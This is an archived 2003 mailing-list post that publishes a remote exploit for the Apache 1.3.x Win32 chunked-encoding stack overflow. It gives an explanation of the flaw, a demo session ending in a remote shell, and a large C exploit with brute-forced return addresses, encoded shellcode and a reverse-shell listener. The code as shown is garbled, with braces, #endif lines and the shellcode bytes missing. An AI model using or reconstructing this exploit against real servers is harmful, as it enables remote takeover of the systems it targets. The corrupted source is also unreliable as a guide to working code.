TUCoPS :: Web :: Apache :: apachunk.txt

Apache Chunked Encoding Exploit

 [0day] Apache 1.3.2 - 1.3.24 (Win32) Chunked Encoding Exploit

    * To: <0day@nothackers.org>
    * Subject: [0day] Apache 1.3.2 - 1.3.24 (Win32) Chunked Encoding Exploit
    * From: "Matthew Murphy" <mattmurphy@kc.rr.com>
    * Date: Sun, 14 Sep 2003 13:11:13 -0500
    * Reply-to: 0day <0day@nothackers.org>
    * Sender: 0day-bounces@nothackers.org

-= 0day - Freedom of Voice - Freedom of Choice =-

To the List,

One of your readers specifically requested this exploit, and as part of a
paper (upcoming) on various exploitable conditions in common applications,
this exploit was written.  I (as of yet) have no timeline for the paper, but
since there are requests for this exploit, and several people claim to have
exploits in the wild, here it is.  I believe that this should work on any
Windows with its one target, but it is tagged "Windows XP SP1" for
precision's sake.

This exploit works viciously well -- I am typically able to get a root shell
on almost any configuration of Apache, unless the user has specifically
dropped privileges of Apache to a lower user.  Worse, some admins run Apache
interactively, allowing it access to various other resources not intended
for hostile users.  There seem to be some inconsistencies in the Apache
buffering implementation that prevent this from working 100% of the time.
However, with a few attempts (and maybe a crack at brute-force), you can
gain control of any server running Apache 1.3.2 to Apache 1.3.24 (and
possibly even 1.2.x series servers) on any Windows OS.

On Apache 2.0, this exploit causes a temporary denial of service -- Apache
loops for several minutes, before crashing due to a null pointer dereference
and being restarted.  Success OR failure of this exploit is not logged on
either platform, as Apache crashes before the request completes.  On many
HTTP servers, the server will log a "GET / HTTP/1.1" to virtual host
"unknown", and will not log the attack in a detailed fashion unless payloads
and headers are logged -- an unlikely scenario.

On Apache 1.3, this exploit triggers a stack overflow, resulting in an SEH
frame in kernel32.dll being overwritten.  An access violation exception also
occurs, invoking the handler.  Windows Server 2003's SEH handler protection
and Visual Studio .NET's /GS stack protection option are ineffective against
this exploit, despite the fact that the original payload was written before
either existed.  This is due to a recently-discovered shortfall of the
Windows 2003 exception handler protection -- it allows addresses on the heap
to be accessed.

As several exploits for this supposedly exist (largely un-released) on
Win32, and in-the-wild use is being seen on other platforms (not to mention
the age of the bug, and the relative obscurity of Apache 1.3 / Win32), I
feel that I can do little harm by releasing this now, as it is more of value
to those who wish to study it -- any vulnerable system has likely already
been compromised via this or other means.

The exploit attempts portability to UNIX, but I didn't have a genuine UNIX
system to test this on.  If you find portability or other bugs, please let
me know by e-mailing me at mattmurphy@kc.rr.com with any errors you may be
seeing.  A demonstration of this exploit against an Apache 1.3.24
installation in my lab environment:

Apache 1.3.x (Win32) Chunked Encoding Exploit
By Matthew Murphy (mattmurphy@kc.rr.com) and
Steven Fruchter (steven_fruchter@hotmail.com)

Target hostname: localhost
Target port: 8001
Use brute-force mode [Y/N]: N
   1    Windows XP SP1
   2    Other
Request filename: /
Attempting return address 0x03B61101...

[Exploit completed in less than one second]

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

c:\program files\apache group\apache\apache_1.3.24>whoami

c:\program files\apache group\apache\apache_1.3.24>exit

As I release this code, I have to ask that you use it only for its intended
purpose: study.  That said, it is a tool with a destructive purpose, and may
cause damage in lab environments or elsewhere.  By viewing, downloading,
compiling, modifying, executing, or otherwise using this code, you assume
all responsibility for the results of such use.

Exploit Techniques

As the exploit states, some of the research was into methods of exploitation
was done by a colleague of mine, Steven Fruchter.  Specifically, the stack
injection technique used to overwrite the structured exception handler is
his creation entirely.  We discovered that during processing chunk headers,
you could use:


To inject arbitrary data onto the stack in the next call to ap_bread().
After I scoffed at Steven's idea and said "How many times do you think that
broke the HTTP 1.1 standard?", it happened to work. :-)

Several of the regulars on (what used to be) exploitlabs.com's IRC server
will remember how many times I beat my head against the wall trying to think
of another method, and had even gone so far as to say that the flaw was not
exploitable on the Win32 platform.  This led the way to another discovery --
the size of the chunk header *DOES* matter.

If you're attempting to exploit this bug on other platforms (e.g, Linux,
Solaris), look for other conditions.  For instance, an implementation error
in the BSD memcpy() function essentially creates the exploitable condition
on those platforms.  Okay, time to cut to the chase:

---------- APACHE-SLASHER.C ----------
 * Apache-Slasher.c
 * Apache 1.3.2-1.3.24 Chunked Encoding Exploit
 * Older versions of Apache (prior to 1.3.26) have a serious flaw
 * in a portion of code that handles HTTP post requests.  The flaw
 * is related to a comparison of two signed integers when processing
 * HTTP/1.1 chunked encoding.  A chunk typically has the following
 * form:
 * <size>
 * <data>
 * Where 'size' is in hexadecimal, so:
 * 10
 * 1234567890123456
 * is a valid chunk.  Apache's ap_discard_request_body() API call uses
 * a static stack-based buffer for reading request body "blocks" of
 * 8190 bytes.  This routine calls ap_get_client_block(), which does
 * not correctly account for the sign bit being enabled by a given
 * chunk size.  That is, the comparison:
 * len_to_read = (r->remaining > bufsiz ? bufsiz : r->remaining)
 * does not account for the possibility that r->remaining (a value taken
 * from the chunk header) is negative (0x80000000-0xFFFFFFFF).
 * The resulting call to ap_bread() contains a second error, in that it
 * ignores the sign bit when calling memcpy(), which results in a large
 * copy operation that exceeds the bounds of the buffer.  It is somewhat
 * limiting, in that it restricts the attacker to the unread bytes of
 * the chunk header.  However, these bytes can be anything, as the calls
 * to ap_bgetc() stop when ap_isxdigit() returns FALSE, rather than when
 * the first newline is received.
 * Some third-party handlers call ap_discard_request_body() when handling
 * GET requests, as there is usually no purpose for an entity body.  If
 * a handler returns an error, or no handler is available, the request is
 * handed off as a sub-request to mod_include, which calls the function.
 * This makes a default Apache 1.3.x install vulnerable, even if there
 * are no scripts offered.
 * How the exploit works is fairly simple.  The attack code sends a GET
 * request that should cause an ap_discard_request_body() call.  This will
 * trigger a stack overflow inside ap_bread(), due to incorrect arithmatic
 * in ap_get_client_block().  The resulting memcpy() call that actually
 * causes the overflow does not return, as it attempts to copy anywhere
 * from 2 to 4 gigabytes of data into a stack frame that is only a few
 * megabytes in length.  When the memcpy() call exceeds the bounds of the
 * stack, an access violation (exception 0xC0000005) occurs.
 * You would expect the resulting SEH sequence to terminate the application,
 * but it does not.  While Apache itself does not establish SEH frames, the
 * kernel32.dll library *does* for every thread when it is created.  The
 * irritating application error dialog boxes are actually triggered from
 * inside this SEH frame.  The corruption of this frame causes execution to
 * jump to an attacker-supplied payload -- the shellcode.  The code is in
 * the HTTP headers submitted along with the request -- these are in a
 * heap-based buffer allocated following the I/O buffers used by Apache.
 * The code used here is a simple TCP reverse shell over port 1285, which
 * (unfortunately) doesn't work with Windows 9x/Me.  This is the only real
 * drawback of this code, with the exception of stringent firewalling.
 * Several people have claimed to have Win32-based exploits for this flaw,
 * none (working) have appeared to this date.  The exploitation of this flaw
 * in a global manner (i.e, not OS-specific) is difficult, but (as this code
 * demonstrates), not impossible.
 * Address determination for your particular Apache should not be difficult,
 * as I believe that this combination of headers/return addresses will be
 * fairly constant, barring major differences in the CRT heap
 * However, there is a mode for brute-force if desired.
 * As for compilation: MSVC/Win32 is guaranteed to compile and run.  This
 * should work on other Win32 compilers, provided they include definitions
 * for wsock32.dll or ws2_32.dll.
 * An average POSIX-compliant UNIX should be sufficient.  As long as the
 * BSD socket interface is available, with select() and the FIONREAD
 * ioctl command.
 * This exploit works perfectly with Windows Server 2003, even though it
 * exist when development began.
 * <Humor>
 * And today's quotes of the day are...
 * "Yo Steven!  I think I found something ACCURATE in the ISS Advisory on
 * Apache!  At least they got the part about Win32 right -- too bad it's
 * like 10 users, eh?"
 * "Anybody here subscribed to X-Force's stuff?  You wouldn't happen to
 * know when their next honeypot goes up yet, would you?  I never got to
 * test out my phf exploit."
 * Trick Question Trivia
 * Q: How do you tell a secure box at ISS from a honeypot at ISS?
 * A: EASY!  The former type does not exist!  ISS employees are all
 *    trained in honeypots, remember?
 * </Humor>
 * Contact:
 * Matthew Murphy
 * E-mail: mattmurphy@kc.rr.com
 * AIM: NetAddict4109
 * Web: http://techie.hopto.org/
 * Steven Fruchter
 * E-mail: steven_fruchter@hotmail.com

#ifdef _WIN32
#define _MT
#include <winsock.h>
#include <process.h>
#ifdef _DEBUG
#pragma comment(linker, "/NODEFAULTLIB:libcd.lib")
#pragma comment(linker, "/NODEFAULTLIB:msvcrtd.lib")
#pragma comment(lib, "libcmtd.lib")
#pragma comment(linker, "/NODEFAULTLIB:libc.lib")
#pragma comment(linker, "/NODEFAULTLIB:msvcrt.lib")
#pragma comment(lib, "libcmt.lib")
#pragma check_stack(off)
#pragma comment(lib, "wsock32.lib")
#include <sys/ioctl.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <netdb.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <time.h>

struct target {
 char *name;
 int retaddr;

static struct target victims[] = {
  "Windows XP SP1",

#if (__BRUTE_STRONG__)    /* Aggressive brute-force defaults */
#define BRUTE_START  0x01010101
#define BRUTE_STOP  0x80010101
#elif (__BRUTE_TIMELY__)   /* Less-aggressive brute-force */
#define BRUTE_START  0x01010101
#define BRUTE_STOP  0x40010101
#else        /* Least aggressive brute-force */
#define BRUTE_START  0x03010101
#define BRUTE_STOP  0x10010101

#define REP_RETADDR  2045  /* How many times to repeat retaddr */
#define NOP_OPCODE  0x41  /* Opcode to use for NOP (one byte) */
#define SHELL_TIMEOUT 1   /* How many seconds to wait for reverse shell */

char sc[359] =

int time_begin;
int got_shell = 0;

void get_stdin_line(char *buffer) {
 fgets(buffer, 256, stdin);
 strtok(buffer, "\r\n");

unsigned long try_shell(void *s) {
 int seconds = 0;
 int minutes = 0;
 int hours = 0;
 int days = 0;
 unsigned long argp = 0;
 struct fd_set fds_read;
 char buffer[512];
 int len;
 int s2;
#ifdef _WIN32
 HANDLE hStdInput;
 HANDLE hStdOutput;
 DWORD rec;
 struct fd_set fds_read_spare;
 int stdin_flag;
 int sock_flag;
 setvbuf(stdin, NULL, _IONBF, 0);
 memset(&fds_read, 0, sizeof(struct fd_set));
 FD_SET((int)s, &fds_read);
#ifdef _WIN32
 hStdInput = GetStdHandle(STD_INPUT_HANDLE);
 hStdOutput = GetStdHandle(STD_OUTPUT_HANDLE);
 fcntl(0, F_SETFL, O_NONBLOCK);
 s2 = accept((int)s, NULL, NULL);
 if (s2 >= 0) {
  got_shell = 1;
  time_begin = time(NULL) - time_begin;
  seconds = time_begin % 60;
  time_begin -= seconds;
  time_begin /= 60;
  minutes = time_begin % 60;
  time_begin -= minutes;
  time_begin /= 60;
  hours = time_begin % 24;
  time_begin -= hours;
  time_begin /= 24;
  days = time_begin;
  printf("[Exploit completed in ");
  if (seconds) {
   if (minutes) {
    if (hours) {
     if (days) {
      printf("%d day%s, ", days, (days == 1 ? "" : "s"));
     printf("%d hour%s, ", hours, (hours == 1 ? "" : "s"));
    printf("%d minute%s, ", minutes, (minutes == 1 ? "" : "s"));
   printf("%d second%s", seconds, (seconds == 1 ? "" : "s"));
  } else {
   printf("less than one second");
#ifndef _WIN32
  FD_SET(0, &fds_read_spare);
  FD_SET(s2, &fds_read_spare);
  while (1) {
#ifdef _WIN32
   rec = 0;
   ir.EventType = 0;
   PeekConsoleInput(hStdInput, &ir, 1, &rec);
   if (rec) {
    if (ir.EventType != KEY_EVENT) {
     ReadConsoleInput(hStdInput, &ir, 1, &rec);
    ReadConsole(hStdInput, buffer, 512, &len, NULL);
    send(s2, buffer, len, 0);
    recv(s2, buffer, len, 0);
   ioctlsocket(s2, FIONREAD, &len);
   if (len) {
    len = recv(s2, buffer, len, 0);
    WriteConsole(hStdOutput, buffer, len, &len, NULL);
   stdin_flag = 0;
   sock_flag = 0;
   memcpy(&fds_read, &fds_read_spare, sizeof(struct fd_set));
   len = select(1, &fds_read_spare, NULL, NULL, NULL);
   switch(len) {
   case 2:
    stdin_flag = 1;
    sock_flag = 1;
   case 1:
    if (FD_ISSET(0, &fds_read)) {
     stdin_flag = 1;
    } else {
     sock_flag = 1;
    printf("Unexpected error: Couldn't wait for readable descriptors!");
   if (stdin_flag) {
    len = read(0, buffer, 512);
    send(s2, buffer, len, 0);
    recv(s2, buffer, len, 0);
   if (sock_flag) {
    len = recv(s2, buffer, 512, 0);
    write(0, buffer, len);
 return 0;

int main(int argc, char *argv[]) {
 int i;
 char buffer[257] = "\0";
 char hdrbuffer[8193];
 struct hostent *he;
 char pad;
 int server;
 int count;
 int client;
 struct sockaddr_in sa_in;
 unsigned long addr;
 unsigned short port;
 int retaddr; /* Windows XP, Apache 1.3.24 */
 int brute = 0;
 int n;
#ifdef _WIN32
 WSADATA wsa_prov;
 if (WSAStartup(0x0101, &wsa_prov)) {
  printf("WSAStartup failed");
  return -1;
 int pid;
 int status;
 printf("Apache 1.3.x (Win32) Chunked Encoding Exploit\r\n");
 printf("By Matthew Murphy (mattmurphy@kc.rr.com) and \r\n");
 printf("Steven Fruchter (steven_fruchter@hotmail.com)\r\n\r\n");
 for (i = 37; i < sizeof(sc) - 4; i++) {
  sc[i] = sc[i] ^ 0x80;
 if (gethostname(buffer, 256)) {
  printf("gethostname failed, please enter hostname manually: ");
 he = gethostbyname(buffer);
 if (!he) {
  printf("Invalid local host name, please enter IP manually: ");
  addr = inet_addr(buffer);
 } else {
  addr = *(unsigned long *)he->h_addr;
 server = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
 if (server < 0) {
  printf("ERROR: Cannot create listener socket");
  return -1;
 sa_in.sin_family = AF_INET;
 sa_in.sin_port = htons(1285);
 sa_in.sin_addr.s_addr = addr;
 addr ^= 0xFFFFFFFF;
 memcpy(&sc[355], &addr, sizeof(unsigned long));
 if (bind(server, (const struct sockaddr *)&sa_in, sizeof(struct
sockaddr_in))) {
  printf("ERROR: Cannot bind to listener port");
  return -1;
 if (listen(server, 256)) {
  printf("ERROR: Cannot listen to reverse shell port");
  return -1;
 while (1) {
  printf("Target hostname: ");
  he = gethostbyname(buffer);
  if (he) {
  printf("ERROR: Invalid hostname\r\n");
 sa_in.sin_addr.s_addr = *(unsigned long *)he->h_addr;
 printf("Target port: ");
 buffer[0] = 0;
 if (!buffer[0]) {
  port = 80;
 } else {
  port = (unsigned short)atoi(buffer);
 printf("Use brute-force mode [Y/N]: ");
 if (buffer[0] == 'Y' || buffer[0] == 'y') {
  brute = 1;
  retaddr = BRUTE_START;
 } else {
  for (i = 0; i < sizeof(victims) / sizeof(struct target); i++) {
   printf("   %d\t%s\r\n", i+1, victims[i].name);
  printf("   %d\tOther\r\n", i+1);
  sscanf(buffer, "%d", &i);
  if (i >= sizeof(victims) / sizeof(struct target)) {
   printf("Enter return address: ");
   sscanf((const char *)(buffer[0] == '0' && (buffer[1] == 'x' || buffer[1]
== 'X' ? &buffer[2] : buffer)), "%x", &retaddr);
  } else {
   retaddr = victims[i].retaddr;
 printf("Request filename: ");
 buffer[0] = 0;
 if (!buffer[0]) {
  strcpy(buffer, "/error/HTTP_NOT_FOUND.html.var");
 memset(hdrbuffer, NOP_OPCODE, sizeof(hdrbuffer)-1);
 hdrbuffer[sizeof(hdrbuffer)-1] = 0;
 hdrbuffer[sizeof(hdrbuffer)-2] = 0x0A;
 hdrbuffer[sizeof(hdrbuffer)-3] = 0x0D;
 memcpy(&hdrbuffer[sizeof(hdrbuffer)-sizeof(sc)-3], sc, sizeof(sc));
 strncpy(hdrbuffer, "X-AAA: ", 7);
 sa_in.sin_port = htons(port);
 time_begin = (int)time(NULL);
#ifdef _WIN32
 _beginthread(&try_shell, 0, (void *)server);
 pid = (int)fork();
 if (pid == -1) {
  printf("fork() failed");
 } else if (pid) {
  try_shell((void *)server);
 count = 0;
 do {
  if (brute && (char)retaddr != 1) {
   printf("Return address 0x%.8X incorrect, ", retaddr);
   retaddr -= (char)retaddr;
  if (!brute) {
   printf("Attempting return address 0x%.8X...\r\n", retaddr);
  if (count == 20) {
   count = 0;
  client = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  if (connect(client, (const struct sockaddr *)&sa_in, sizeof(struct
sockaddr_in))) {
   printf("connect() failed");
   return -1;
  send(client, "GET ", 4, 0);
  send(client, buffer, strlen(buffer), 0);
  send(client, " HTTP/1.1\r\nHost: unknown\r\nTransfer-Encoding:
chunked\r\n", 54, 0);
  pad = 0x30;
  for (i = 0; i < 62; i++) {
   if (pad == 0x3A) {
    pad = 0x41;
   } else if (pad == 0x5B) {
    pad = 0x61;
   hdrbuffer[4] = pad;
   send(client, hdrbuffer, sizeof(hdrbuffer)-1, 0);
  send(client, "\r\nFFFFFFF0", 10, 0);
  for (n = 0; n < REP_RETADDR; n++) {
   send(client, (const char *)&retaddr, sizeof(retaddr), 0);
  send(client, "\r\n", 2, 0);
  retaddr += 0x1000;
  if (brute) {
   if ((char)(retaddr >> 8) == 0 || (char)(retaddr >> 8) == 0x0D ||
(char)(retaddr >> 8) == 0x0A) {
    retaddr += 0x100;
   if ((char)(retaddr >> 16) == 0 || (char)(retaddr >> 16) == 0x0D ||
(char)(retaddr >> 16) == 0x0A) {
    retaddr += 0x10000;
   if ((char)(retaddr >> 24) == 0 || (char)(retaddr >> 24) == 0x0D ||
(char)(retaddr >> 24) == 0x0A) {
    retaddr += 0x1000000;
#ifdef _WIN32
 } while ((brute ? retaddr < BRUTE_STOP && !got_shell : 0));
 got_shell = 0;
#ifdef _WIN32
 if (got_shell) {
 if (!got_shell) {
  kill(pid, SIGTERM);
 return 0;

0day mailing list

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH